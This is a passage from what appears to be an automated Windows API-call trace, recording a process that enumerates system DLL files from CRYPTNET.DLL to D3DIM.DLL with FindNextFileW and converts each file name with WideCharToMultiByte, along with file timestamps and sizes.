[0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.619] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.620] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_G18030.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e9f149, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd5e9f149, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8283c9e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="C_IS2022.DLL", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_IS2022.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_IS2022.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bc6567, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87bc6567, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bec6c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="C_ISCII.DLL", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_ISCII.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C_ISCII.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dfa5a5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x96dfa5a5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x96f51207, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d2d1.dll", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D2D1.DLL", cchWideChar=8, lpMultiByteStr=0x3ec288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D2D1.DLL", lpUsedDefaultChar=0x0) returned 8 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9170ea75, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9170ea75, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfb800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d10.dll", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9383bc36, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x9383bc36, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d10core.dll", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10CORE.DLL", cchWideChar=13, lpMultiByteStr=0x3ec288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10CORE.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8cc1aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d8cc1aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d8f230a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x77a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d10level9.dll", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10LEVEL9.DLL", cchWideChar=15, lpMultiByteStr=0x3ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10LEVEL9.DLL", lpUsedDefaultChar=0x0) returned 15 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f4358f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93f4358f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93f4358f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d10warp.dll", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10WARP.DLL", cchWideChar=13, lpMultiByteStr=0x3ec288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10WARP.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.621] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce4ebfe, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8ce4ebfe, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86a957b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d10_1.dll", cAlternateFileName="")) returned 1 [0026.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833c4b62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833c4b62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833c4b62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d10_1core.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D10_1CORE.DLL", cchWideChar=15, lpMultiByteStr=0x3ec288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D10_1CORE.DLL", lpUsedDefaultChar=0x0) returned 15 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x871363b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x871363b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x871363b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7fa00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d11.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D11.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D11.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90be63a0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x90be63a0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfd200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d8.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8.DLL", cchWideChar=8, lpMultiByteStr=0x3ec288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8.DLL", lpUsedDefaultChar=0x0) returned 8 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731c383, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8731c383, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86e01f20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d8thk.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D8THK.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D8THK.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e7de63, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e7de63, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97ef0284, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1be600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3d9.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3D9.DLL", cchWideChar=8, lpMultiByteStr=0x3ec288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D3D9.DLL", lpUsedDefaultChar=0x0) returned 8 [0026.622] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6a71fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8b6a71fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x8703d3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="d3dim.dll", cAlternateFileName="")) returned 1 [0026.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D3DIM.DLL", cchWideChar=9, 